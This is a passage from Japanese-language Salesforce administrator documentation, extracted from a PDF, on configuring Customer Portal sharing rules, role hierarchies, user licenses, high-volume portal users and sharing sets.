権限セットを使用して、他の権限とアクセス設定をカスタマーポータルユーザに割り当てることができます。
購入したユーザライセンスによって、カスタムオブジェクト、Salesforce CRM Content、レポート、およびケース
やソリューションなどのカスタマーサポート機能について、カスタマーポータルプロファイルを設定できま
す。

重要: ポータルユーザが新規ケースを参照できるようにするには、[新規ケースをポータルに公開] サポー
ト設定を選択する必要があります。[設定] から、[クイック検索] ボックスに「サポート設定」と入力し、
[サポート設定] を選択してから、[新規ケースをポータルに公開] を選択します。

カスタマーポータルの共有ルール
カスタマーポータルを有効にすると、次のグループと共有ルールカテゴリが作成されます。

説明グループと共有ルールカテ
ゴリ

大規模ポータルユーザを除く、すべてのカスタマーポータルユーザが含まれま
す。

「すべてのカスタマーポー
タルユーザ」グループ

組織内のすべての Salesforce ユーザが含まれます。「すべての内部ユーザ」グ
ループ

ロールによって組織内の特定の Salesforce ユーザを含み、さらにそのロールの下
位ロール (カスタマーポータルとパートナーポータルのロールは除く) のすべての
ユーザを含む共有ルールを作成できます。
大規模ポータルユーザはロールを持たないため、この共有ルールカテゴリまた
はその他の共有ルールカテゴリに含まれません。

「ロール & 内部下位ロー
ル」共有ルールカテゴリ

これらのグループと共有ルールカテゴリを使用して、次の処理を行う共有ルールを作成できます。
• カスタマーポータルユーザまたは Salesforce ユーザに、特定のデータへのアクセス権限を付与します。ただ

し、グループまたは共有ルールに含めることができない大規模ポータルユーザを除きます。
• カスタマーポータルユーザと Salesforce ユーザをリンクします。
• カスタマーポータルマネージャユーザライセンスを持つ、異なる取引先のカスタマーポータルユーザをリ

ンクします。
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カスタマーポータルのロール階層
取引先でカスタマーポータルを有効にすると、その取引先のポータルユーザ用のロール階層が作成されます。
ポータルロールは取引先ごとに一意であり、ポータルロールには取引先の名前 (取引先 A カスタマーユーザな
ど) が含まれます。組織のロール階層全体の中で、この取引先固有の階層は取引先所有者の直下に位置します。
ポータルロール階層内のロールは固定されています。固定されたロールのカスタマイズや新しいロールの追加
はできません。固定されたロールは次のとおりです。
• エグゼクティブ — 取引先責任者用
• マネージャ — 取引先責任者用
• ユーザ — 取引先責任者用
• 個人取引先 — 個人取引先用

メモ: カスタマーポータルロールのすべてのユーザ (エグゼクティブ、マネージャ、およびユーザロール)

には、ポータル取引先のポータルを使用できるすべての取引先責任者に対する参照アクセス権がありま
す (取引先責任者の共有モデルが非公開である場合も同様)。

顧客をカスタマーポータルユーザとして有効にすると、ユーザライセンスに基づいてロールが自動的に割り当
てられます。個人取引先には「個人取引先」ロールが常に含まれます。大規模カスタマーポータルまたは認証
Web サイトライセンスを持つ取引先責任者には、ロールがありません。
取引先責任者へのアクセス権が非公開に設定されている場合、大規模ポータルユーザには、自身の取引先責任
者とアクセス権が付与されている取引先責任者へのアクセス権のみがあります。
ロール階層により、異なる取引先のポータルユーザがお互いのデータを参照できないようにすることができま
す。大規模ポータルユーザがロール階層に含まれていなくても、そのユーザは、自分の取引先または取引先責
任者に関連付けられていないレコードを参照できません。参照できるのは、アクセス権が付与されたオブジェ
クトのみです。ただし、共有ルールを作成して、カスタマーポータルマネージャライセンスを持つ異なる取引
先のユーザがお互いのデータを参照できるようにすることができます。
カスタマーポータルとパートナーポータルという異なるポータル種別を持つ取引先では、ポータルごとにロー
ル階層が異なります。ロール名には、関連付けられているポータル種別が含まれます。たとえば、取引先 A に
カスタマーポータルとパートナーポータルの両方がある場合には、カスタマーポータルのロール名は「取引先
A のカスタマーユーザ」となり、パートナーポータルのロール名は「取引先 A のパートナーユーザ」となりま
す。
カスタマーポータルユーザに割り当てられたロールを参照するには、カスタムレポートを作成し、[管理レポー
ト] を選択し、データ型として [ユーザ] を選択して、レポート列に [ロール]を追加します。ロールを持たない
大規模ポータルユーザに関するレポートは、作成できません。

メモ: パートナーユーザが所有する取引先に関連付けられたカスタマーポータルユーザは作成できませ
ん。

カスタマーポータルユーザライセンス
ユーザライセンスによって、ユーザがアクセスできる機能の基準が決まります。各ユーザにユーザライセンス
が 1 つだけ必要です。
カスタマーポータルユーザに割り当てることのできるユーザライセンスは、次のとおりです。
• 大規模カスタマーポータル
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• 認証 Web サイト
• カスタマーポータルマネージャカスタム
• カスタマーポータルマネージャ標準 (新しい顧客には使用不可)

このユーザライセンスによって、利用可能なカスタマーポータルのプロファイルが決まります。また、カスタ
マーポータルのロール階層内でのユーザの位置も決まります。
次の表に、カスタマーポータルユーザライセンスとそれぞれに関連付けられているプロファイル、およびカス
タマーポータルのロール階層での位置を示します。

ロールと共有プロファイルユーザライセンス

大規模ポータルユーザにはロールはありません。
「大規模ポータルユーザ」 (ページ2876)を参照して
ください。
自分が所有するレコードは共有できませんが、所
有権の移行はできます。

大規模カスタマーポータル
または認証 Web サイトプロ
ファイル、またはこれらの
プロファイルの中からコ
ピーとしてカスタマイズし
たプロファイル。

大規模カスタマーポータル
および
認証 Web サイト
どちらのユーザライセンスも
大規模ポータルユーザ

大規模ポータルユーザ以外からケースをこれらに
移行することはできません。(購入可能)

次に含めることはできません。
• 非公開グループまたは公開グループ。
• 共有ルール。
• 取引先チーム、商談チーム、またはケースチー

ム。
• Salesforce CRM Content ライブラリ。
• 大規模ポータルユーザは、標準の取引先詳細

ページまたは取引先責任者詳細ページにアク
セスできません。ただし、これらのレコード
にアクセスできるVisualforceやAPIなどのツール
を使用して、カスタムソリューションを作成
できます。

プロファイル設定に応じて、カスタムオブジェク
トにアクセスできます。

エグゼクティブ、マネージャ、ユーザのいずれか
のロールに割り当てることができます。
直接所有するデータ、またはカスタマーポータル
ロール階層において自分より下位のユーザと共有

カスタマーポータルマネー
ジャプロファイル、または
カスタマーポータルマネー
ジャプロファイルからコ
ピーしてカスタマイズした
プロファイル。

カスタマーポータルマネー
ジャカスタム
(購入可能)

するデータの参照と編集、また、[取引先責任者
名] 項目にユーザがリストされているケースの参
照と編集が可能です。
他のSalesforceユーザと同様にデータを共有できま
す。
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ロールと共有プロファイルユーザライセンス

• プロファイル設定に応じて、カスタムオブジェ
クトにアクセスできます。

• プロファイル設定に応じて、レポートにアク
セスできます。

• 機能ライセンスとプロファイル設定に応じて、
Salesforce CRM Contentを使用できます。「カスタ
マーポータルに対する Salesforce CRM Content の
有効化」 (ページ 2852)を参照してください。

• 「ポータルスーパーユーザ」および「外部ユー
ザの代理管理者」権限が与えられます。

エグゼクティブ、マネージャ、ユーザのいずれか
のロールにのみ割り当てることができます。
直接所有するデータ、またはカスタマーポータル
ロール階層において自分より下位のユーザと共有

カスタマーポータルユーザ
プロファイル、またはカス
タマーポータルユーザプロ
ファイルからコピーしてカ
スタマイズしたプロファイ
ル。

カスタマーポータルマネー
ジャ標準

するデータの参照と編集、また、[取引先責任者
名] 項目にユーザがリストされているケースの参
照と編集が可能です。
他のSalesforceユーザと同様にデータを共有できま
す。
• プロファイル設定に応じて、カスタムオブジェ

クトにアクセスできます。
• 「ポータルスーパーユーザ」権限が与えられ

ます。
• 機能ライセンスとプロファイル設定に応じて、

Salesforce CRM Contentを使用できます。「カスタ
マーポータルに対する Salesforce CRM Content の
有効化」 (ページ 2852)を参照してください。

メモ: 新しい顧客はこのライセンスを使用で
きません。

メモ: カスタマーポータルユーザとして有効化された個人取引先は、自動的に [個人取引先]ロールに割り
当てられ、変更はできません。個人取引先が自動的にこのロールに割り当てられるのは、ユーザは 1 人
で、この取引先には複数のロールが必要ないからです。さらに、同じユーザが所有するすべての個人取
引先が同じロールに割り当てられます。

関連トピック:

カスタマーポータルの設定
カスタマーポータルユーザの代理管理とポータルスーパーユーザ
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大規模ポータルユーザについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

大規模ポータルユーザは、数千から数百万のポータルユーザを抱える組織を対
象とする、アクセス制限されたポータルユーザです。その他のポータルユーザ
と異なり、大規模ポータルユーザにはロールはありません。そのため、ロール
階層の計算に関連するパフォーマンス上の問題を回避します。大規模ポータルユーザには、大規模カスタマー
ポータルと認証 Web サイトライセンスの種類が含まれます。

特徴
大規模ポータルユーザ:

• 取引先責任者がカスタマーポータルにアクセスできるようにします。
• 大規模カスタマーポータルまたは認証 Web サイトライセンスに割り当てられます。
• 所有するレコードは、大規模ポータルユーザ共有グループの Salesforce ユーザのみと共有します。

レコードへのアクセス
大規模ポータルユーザは、次のいずれかの条件を満たす場合に、レコードにアクセスできます。
• 自分が所属する取引先に対する「更新」アクセス権がある。
• レコードを所有している。
• レコードの親にアクセスでき、そのレコードに対する組織の共有設定が「親レコードに連動」である。
• そのオブジェクトに対する組織の共有設定が「公開/参照のみ」または「公開/参照・更新可能」である。
• API (標準の取引先詳細ページまたは取引先責任者詳細ページではない) を使用して有効化された取引先また

は取引先責任者にアクセスする。
管理者は共有セットを作成し、大規模ポータルユーザにレコードへの追加アクセスを許可できます。詳しく
は、「大規模ポータルユーザへのレコードアクセス権の付与」 (ページ 2879)を参照してください。

制限事項
• 大規模ポータルユーザは、所有するレコードまたはアクセス権のあるレコードの共有を直接設定すること

はできません。
• 大規模ポータルユーザ以外から大規模ポータルユーザにケースは移行できません。
• 大規模ポータルユーザは取引先を所有できません。
• 大規模ポータルユーザが所有するケースにケースチームを追加することはできません。
• 大規模ポータルユーザを次に含めることはできません。
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非公開グループまたは公開グループ。–

– 共有ルール。
– 取引先チーム、商談チーム、またはケースチーム。
– Salesforce CRM Content ライブラリ。
– 大規模ポータルユーザは、標準の取引先詳細ページまたは取引先責任者詳細ページにアクセスできませ

ん。ただし、これらのレコードにアクセスできる VisualforceやAPIなどのツールを使用して、カスタムソ
リューションを作成できます。

これらの制限は、大規模ポータルユーザが所有するレコードにも適用されます。
• 大規模ポータルユーザをテリトリーに割り当てることはできません。

関連トピック:

大規模ポータルユーザが所有するレコードの Salesforce ユーザとの共有
大規模ポータルユーザへのレコードアクセス権の付与
共有セットの概要

共有セットの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有セットを使用して、取引先または取引先責任者に関連付けられているレコー
ドへのアクセス権をユーザプロファイルに基づいてポータルまたはコミュニティ
ユーザに付与します。
以前は、共有セットを使用して、ユーザの取引先または取引先責任者と一致す
る取引先または取引先責任者への参照項目を持つすべてのレコードへのアクセ
ス権を付与していました。Spring '14 では、ユーザおよび対象レコードから取引
先または取引先責任者への間接参照をサポートする共有セットのアクセスマッ
ピングを使用して、アクセス権の付与方法を決定することもできます。アクセ
スマッピングで使用するオブジェクトを決定できます。また、どちらも取引先
または取引先責任者を指し示す必要があります。

たとえば、次のような場合に共有セットを使用できます。
• 取引先または取引先責任者レコードに関連するすべてのケースへのアクセス権をユーザに付与する。
• ユーザの取引先または取引先責任者レコードで識別される親取引先または取引先責任者に関連するすべて

のケースへのアクセス権をユーザに付与する。
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共有セットを使用して、取引先、取引先責任者、ケース、サービス契約、ユーザ、カスタムオブジェクトへの
アクセス権を付与できます。共有セットは、次のユーザプロファイルと共に使用できます。
• 認証 Web サイト
• カスタマーコミュニティユーザ
• カスタマーコミュニティログインユーザ
• 大規模カスタマーポータル
• 大規模ポータル
• Overage Authenticated Website ユーザ
• Overage High Volume Customer Portal ユーザ
次の例は、ケースに直接関連付けられていなくても、取引先のエンタイトルメントに関連付けられているすべ
てのケースへのアクセス権をポータルまたはコミュニティユーザに付与する共有セットのアクセスマッピング
を示しています。

例: 

1. ポータルまたはコミュニティユーザの取引先ルックアップ
2. エンタイトルメントの関連取引先
3. ケースのエンタイトルメントルックアップ

メモ: ポータルまたはコミュニティユーザは、アクセス権のある取引先のすべての注文エンタイトル
メントおよび注文品目へのアクセス権が付与されます。大規模ポータルユーザが所有するレコード
を共有するには、代わりに共有グループを使用します。

関連トピック:

大規模ポータルユーザへのレコードアクセス権の付与
大規模ポータルまたはコミュニティユーザへのユーザレコードアクセス権の付与
大規模コミュニティユーザについて
大規模コミュニティユーザへのレコードアクセス権の付与
大規模コミュニティユーザが所有するレコードの共有
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大規模ポータルユーザへのレコードアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードへの大規模ポー
タルユーザアクセスを許
可する
• 「アプリケーションの

カスタマイズ」

共有セットを使用して、プロファイルに基づいてユーザにレコードへのアクセ
ス権を付与します。

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

共有セットは、大規模ポータルユーザに対し、ユーザの取引先または取引先責
任者と一致する取引先または取引先責任者への参照項目を持つすべてのレコー
ドへのアクセス権を付与します。
ユーザおよび対象レコードから取引先または取引先責任者の間接参照をサポー
トする共有セットのアクセスマッピングを介してレコードへのアクセス権を付
与することもできます。たとえば、ユーザの取引先責任者レコードで識別され
た取引先に関連するすべてのケースへのアクセス権をユーザに付与できます。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設定]

を選択します。
2. [共有セット] 関連リストで、[新規]をクリックして共有セットを作成するか、既存の共有セットの横にある

[編集] をクリックします。
3. [共有セットの編集] ページで、[表示ラベル] および [共有セット名] 項目を入力します。[表示ラベル] は、

ユーザインターフェースに表示される共有セットの表示ラベルです。[共有セット名] は、API が使用する一
意の名前です。

4. 説明を入力します。
5. アクセス権を付与するユーザのプロファイルを選択します。
6. アクセス権を与えるオブジェクトを選択します。

[利用可能なオブジェクト] リストに、次のオブジェクトは含まれません。
• 組織の共有設定が「公開/参照・更新可能」になっているオブジェクト
• 取引先または取引先責任者の参照項目を持たないカスタムオブジェクト

7. [アクセス権の設定] セクションで、オブジェクト名の横にある [設定] または [編集] をクリックし、選択し
たプロファイルに対するアクセス権を設定します。または、[削除] をクリックして、オブジェクトからア
クセス権の設定を削除します。

メモ:  [アクション] 列に [設定]があるオブジェクトは、大規模ポータルユーザ用の設定になっていませ
ん。オブジェクトを設定するまで、大規模ポータルユーザにはそのレコードに対するアクセスが制限
されるか、アクセス権がありません。アクセス権についての詳細は、「大規模ポータルユーザについ
て」 (ページ 2876)を参照してください。

8. 取引先または取引先責任者ルックアップに基づいてアクセスを許可します。
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[ユーザ] ドロップダウンリストで値を選択して、ユーザの取引先ルックアップまたは取引先責任者ルッ
クアップを決定します。

•

• [対象オブジェクト] 項目で値を選択して、対象オブジェクトの取引先ルックアップまたは取引先責任者
ルックアップを決定します。

たとえば、ユーザの取引先責任者レコードで識別された取引先に関連付けられているすべてのケースへの
アクセス権を付与するには、Contact.Account と Account をそれぞれ選択します。

メモ: 選択した両方の項目は、取引先または取引先責任者のいずれかを指し示している必要がありま
す。たとえば、Contact.Account と Entitlement.Account はどちらも取引先を指し示していま
す。

9. 「参照のみ」または「参照・更新」のアクセスレベルを選択します。(オブジェクトの組織の共有設定が
「公開/参照のみ」の場合、選択できるのは「参照・更新」のみです)。

10. [更新] をクリックし、[保存] をクリックします。
設定は、組織のカスタマーポータルまたはサイトのすべてに適用されます。

関連トピック:

大規模ポータルユーザについて
共有セットの概要

大規模ポータルまたはコミュニティユーザへのユーザレコードアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードへの大規模ポー
タルユーザアクセスを許
可する
• 「アプリケーションの

カスタマイズ」

共有セットを使用して、他のユーザにユーザアクセス権を付与します。

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

共有セットを作成して、内部ユーザまたは同じポータルの他のユーザに大規模
ポータルユーザへのアクセスを許可すると、対象ユーザレコードを表示または
編集できるようになります。
Spring '14 では、取引先または取引先責任者への間接参照を使用して、他のポー
タルのユーザにアクセス権を付与することもできます。
[共有設定] ページの [ポータルユーザ表示] チェックボックスをオフにしている
場合、同じポータルの選択したユーザにアクセス権を付与するには、一般的に
共有セットを作成します。
共有セットを作成して他のユーザにアクセス権を付与する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設定]

を選択します。
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2. [大規模ポータルユーザの共有設定] 関連リストで、[新規]をクリックして共有セットを作成するか、既存の
共有セットの横にある [編集] をクリックします。

3. [共有セットの編集] ページで、[表示ラベル] および [共有セット名] 項目を入力します。[表示ラベル] は、
ユーザインターフェースに表示される共有セットの表示ラベルです。[共有セット名] は、API が使用する一
意の名前です。

4. アクセス権を持たせるユーザのプロファイルを選択します。
5. User オブジェクトを選択します。

対象ユーザとして他の大規模ポータルまたはコミュニティユーザや内部ユーザを選択できます。
6. [アクセス権の設定] セクションで、User オブジェクトの横にある [設定]または [編集]をクリックし、選択し

たプロファイルに対するアクセス権を設定します。または、[削除] をクリックして、オブジェクトからア
クセス権の設定を削除します。

7. 取引先または取引先責任者ルックアップに基づいてアクセスを許可します。
• [ユーザ] ドロップダウンリストで値を選択して、直接参照か中間オブジェクトを介した間接参照のいず

れかでユーザに関連する取引先または取引先責任者を決定します。
• [対象ユーザ] ドロップダウンリストで値を選択して、直接参照か中間オブジェクトを介した間接参照の

いずれかで対象ユーザに関連する取引先または取引先責任者を決定します。
たとえば、ユーザの取引先レコードで識別される別の取引先に関連付けられている対象ユーザにアクセス
権を付与するには、Account.Parent および Account をそれぞれ選択します。

メモ: 選択した両方の項目は、取引先または取引先責任者のいずれかを指し示している必要がありま
す。たとえば、Account.Parent と Contact.Account はどちらも取引先を指し示しています。

8. 「参照のみ」または「参照・更新」のアクセスレベルを選択します (User オブジェクトの組織全体の共有設定
が「公開/参照のみ」の場合、選択できるのは「参照・更新」のみです)。

9. [更新] をクリックし、[保存] をクリックします。
設定は、組織のカスタマーポータルまたはサイトのすべてに適用されます。

例: 次の例では、取引先責任者がポータルユーザのマネージャレコードで識別される取引先に関連する
ユーザにポータルユーザアクセス権を付与しています。つまり、ポータルユーザのマネージャレコード
の取引先項目と、対象ユーザの取引先責任者レコードで識別される取引先項目が一致している必要があ

ります。
1. ポータルユーザのマネージャルックアップ

2881

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理



2. マネージャの取引先ルックアップ
3. 取引先責任者の取引先ルックアップ
4. 対象ユーザの取引先責任者ルックアップ
この例では、対象ユーザにアクセス権を付与するために、[ユーザおよび対象ユーザ] ドロップダウンリス
トで Manager.Account および Contact.Account をそれぞれ選択します。

関連トピック:

コミュニティまたはポータルユーザが表示できるユーザの制御
共有セットの概要

大規模ポータルユーザが所有するレコードの Salesforce ユーザとの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

大規模ポータルユーザが
所有するレコードを
Salesforce ユーザと共有す
る
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

大規模ポータルユーザは、数千から数百万のポータルユーザを抱える組織を対
象とする、アクセス制限されたポータルユーザです。その他のポータルユーザ
と異なり、大規模ポータルユーザにはロールはありません。そのため、ロール
階層の計算に関連するパフォーマンス上の問題を回避します。ロール階層内に
大規模ポータルユーザは存在せず Salesforce ユーザは存在するため、共有グルー
プを使用して大規模ポータルユーザが所有するレコードにアクセス可能なSalesforce

ユーザを指定できます。各カスタマーポータルは、独自の共有グループを使用
します。
大規模ポータルユーザが所有するレコードにアクセスできる Salesforce ユーザを
指定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力

し、[カスタマーポータル設定] を選択します。
2. カスタマーポータルの名前をクリックします。
3. [共有グループ設定] サブタブをクリックします。
4. [有効化] をクリックして共有グループを有効にします。

共有グループの有効化には時間がかかる場合があります。処理が完了すると、メールが送信されます。

メモ: 共有グループを無効にすると、大規模ポータルユーザが所有するレコードへの Salesforce ユーザ
のすべてのアクセス権は削除されます。無効化プロセスが完了しても、メールは送信されません。

5. [編集] をクリックし、Salesforce ユーザを共有グループに追加します。
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[検索] ドロップダウンリストから、追加するメンバーの種別を選択します。a.

b. 追加するメンバーが見つからない場合は、検索ボックスにキーワードを入力し、[検索]をクリックしま
す。

c. [共有可能なユーザ] ボックスからメンバーを選択し、[追加] をクリックすると、そのメンバーがグルー
プに追加されます。

d. [保存] をクリックします。

関連トピック:

大規模ポータルユーザについて

大規模ポータルユーザの共有セットの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードへの大規模ポー
タルユーザアクセスを許
可する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

システム管理者は、共有セットを作成し、プロファイルに基づいて大規模ポー
タルユーザにオブジェクトへのアクセスを許可できます。共有セットに関する
詳細情報を表示する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力

し、[カスタマーポータル設定] を選択します。
2. [大規模ポータルユーザの共有設定] 関連リストで、共有セットの名前をクリッ

クします。
[共有セット] 詳細ページには、セットに含まれるプロファイルと、許可されてい
るオブジェクトへのアクセス権が表示されます。このページでは、次の作業を
実行できます。
• 共有セットを編集するには [編集] をクリックします。
• 共有セットを削除するには [削除] をクリックします。
• 含まれるプロファイルの詳細を表示するには、名前をクリックします。
• オブジェクトへのアクセス設定を変更または削除するには、オブジェクト名の横にある [編集] リンクまた

は [削除] リンクをクリックします。

関連トピック:

大規模ポータルユーザについて
大規模ポータルユーザへのレコードアクセス権の付与
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カスタマーポータルへのアクセス

カスタマーポータルへのユーザアクセス権の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「アプリケーションのカスタマイズ」カスタマーポータルを設定する

「セルフサービスユーザの編集」カスタマーポータルユーザを管理する

「プロファイルと権限セットの管理」プロファイルを作成、編集、および削除
する

「共有の管理」デフォルトの共有アクセス権および共有
ルールを設定する

「セルフサービスユーザの編集」カスタマーポータルユーザを有効化する

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用できません。既存の組織は、
引き続きカスタマーポータルにアクセスすることができます。カスタマーポータルがない場合に顧客と
簡単に情報を共有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを継続して使用することも、コ
ミュニティに移行することもできます。詳細は、Salesforceアカウントエグゼクティブにお問い合わせくだ
さい。

Salesforceカスタマーポータルを初めて設定する場合、次を設定した後にユーザがポータルにアクセスできるよ
うになります。
1. 「カスタマーポータルの設定」に示された手順に従って、ポータルを設定します。
2. カスタマーポータルプロファイルをポータルに割り当てます。

a. [カスタマーポータル設定] ページから、ポータルの名前を選択します。
b. [割り当てられたプロファイル] セクションで [プロファイルの編集] をクリックします。
c. ポータルに割り当てるプロファイルの横にある [有効] チェックボックスをオンにします。
ポータルユーザは、自分のプロファイルに割り当てられたカスタマーポータルにのみログインできます。
複数のポータルを作成する場合は、ユーザにアクセスを許可する各ポータルにプロファイルを割り当てる
必要があります。

3. 組織の共有モデルの組織の共有設定で、取引先、取引先責任者、契約、納入商品、およびケースを [非公開]

に設定します。これにより、ポータルユーザは、自分の取引先に関連するデータしか参照および編集でき
ないようになります。

ヒント: ポータルユーザが自分の取引先に関連するデータだけを参照および編集できるようにしつつ、
Salesforceユーザの [公開] に適用されている組織の共有設定の処理を維持するには、「すべての内部ユー
ザ」から「すべての内部ユーザ」を自己参照する共有ルールを作成します。
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4. 必要に応じて、ポータルユーザ (大規模ポータルユーザを除く) の共有ルールを設定します。これにより、
ポータルユーザと Salesforce ユーザの間でレコードを共有できます。

メモ: 組織がロール、内部およびポータル下位ロールで共有する共有ルールを使用する場合は、それ
らの共有ルールを更新し、代わりに [ロール & 内部下位ロール] で共有します。これは、Salesforce ユー
ザが所有するレコードが間違ってポータルユーザと共有されることを回避するのに役立ちます。
[ロール & 内部下位ロール] データセットカテゴリでは、特定のロール (カスタマーポータルとパート
ナーポータルロールを除く) のすべてのユーザとその下位ロールに属するすべてのユーザを含む共有
ルールを作成できます。
[ポータルユーザアクセス権の変換] ウィザードを使用して、ロール、および内部下位ロールを含む共
有ロールを含むように簡単に変換できます。さらに、このウィザードを使用して、公開されているレ
ポート、ダッシュボード、およびドキュメントフォルダを、ポータルユーザ以外のすべてのユーザが
アクセスできるように変換できます。

5. ポータルユーザがキューに追加されておらず、キューに追加された公開グループにも含まれていないこと
を確認してください。これは、キューに追加されたポータルユーザは、関連していない取引先からレコー
ドにアクセスできる場合があるためです。

6. 必要に応じて、ポータルユーザに割り当てられたホームページレイアウトに [カスタマーポータルへようこ
そ] コンポーネントを追加します。
[カスタマーポータルへようこそ] コンポーネントを使用すると、ユーザは、ユーザ名が添えられた「お知
らせ」のメッセージを受け取り、各自のポータルユーザ名、パスワード、地域、言語、タイムゾーン、お
よび連絡先情報を変更することができます。詳細は、「カスタマーポータルページの設定ヒントと考慮事
項」 (ページ 2863)を参照してください。

7. 必要に応じて、取引先責任者がユーザのポータルにアクセスするためにセルフ登録することを許可します。
「カスタマーポータルのログインと設定の有効化」 (ページ 2838)を参照してください。

関連トピック:

カスタマーポータルユーザの管理について
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取引先責任者と個人取引先に対するカスタマーポータルの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーユーザを有効
化する、またはポータル
ユーザとしてログインす
る
• カスタマーユーザと関

連付けられた取引先に
対する「編集」

および

「セルフサービスユー
ザの編集」

顧客が Salesforce カスタマーポータルにアクセスできるようにするには、顧客の
取引先責任者レコードまたは個人取引先レコードをカスタマーユーザとして有
効化します。
1. 取引先責任者または個人取引先の詳細ページで [外部ユーザの管理]をクリッ

クし、[カスタマーユーザを有効化] を選択します。
2. 一般情報と地域の設定を確認し、不足している情報は入力します。顧客の

[ユーザ名] は、その顧客の [メール] にデフォルト設定されます。
3. [ポータルユーザライセンス] を選択します。選択したユーザライセンスによっ

て、そのカスタマーユーザに対して選択できる権限セット、ユーザプロファ
イル、およびロール階層オプションが決まります。「カスタマーポータル
ユーザライセンス」 (ページ 2873)を参照してください。

4. カスタマーポータルのユーザ名とパスワードを顧客にメールで送信するに
は、[パスワードをリセットしてユーザに通知する] チェックボックスをオン
にします。
Salesforce 組織が複数のカスタマーポータルを使用する場合、カスタマーユー
ザは、プロファイルに割り当てられたすべてのカスタマーポータルに、1 組
のユーザ名とパスワードを使ってアクセスできます。「複数のカスタマー
ポータルの作成」 (ページ 2836)を参照してください。

5. [保存] をクリックします。
6. ポータル設定のトラブルシューティングや確認を行うには、取引先責任者の

詳細ページで[外部ユーザの管理]をクリックし、[ユーザとしてポータルにロ
グイン]を選択します。新規ブラウザウィンドウが開き、パートナーユーザとしてポータルにログインでき
ます。

必要に応じて、カスタマーユーザを無効化できます。

関連トピック:

取引先責任者に対するカスタマーポータルの有効化と管理に関する考慮事項
[ソーシャル取引先、取引先責任者、およびリード] の有効化
ポータルに対して有効化された取引先責任者の取引先の変更に関する考慮事項
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事項
カスタマーポータルユーザの管理について
取引先責任者に対するカスタマーポータルの有効化と管理に関する考慮事項
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カスタマーポータル取引先あたりのロール数

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータル取引先あたりの
ロール数を設定する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

カスタマーポータル取引先のデフォルトのロール数を設定できます。これによ
り、カスタマーポータルは、カスタマーポータル取引先の未使用のロール数を
減らすことができます。この機能を使用するには、カスタマーポータルが有効
になっている必要があります。
たとえば、取引先がカスタマーポータルで有効になった時点で 3 つのロールが
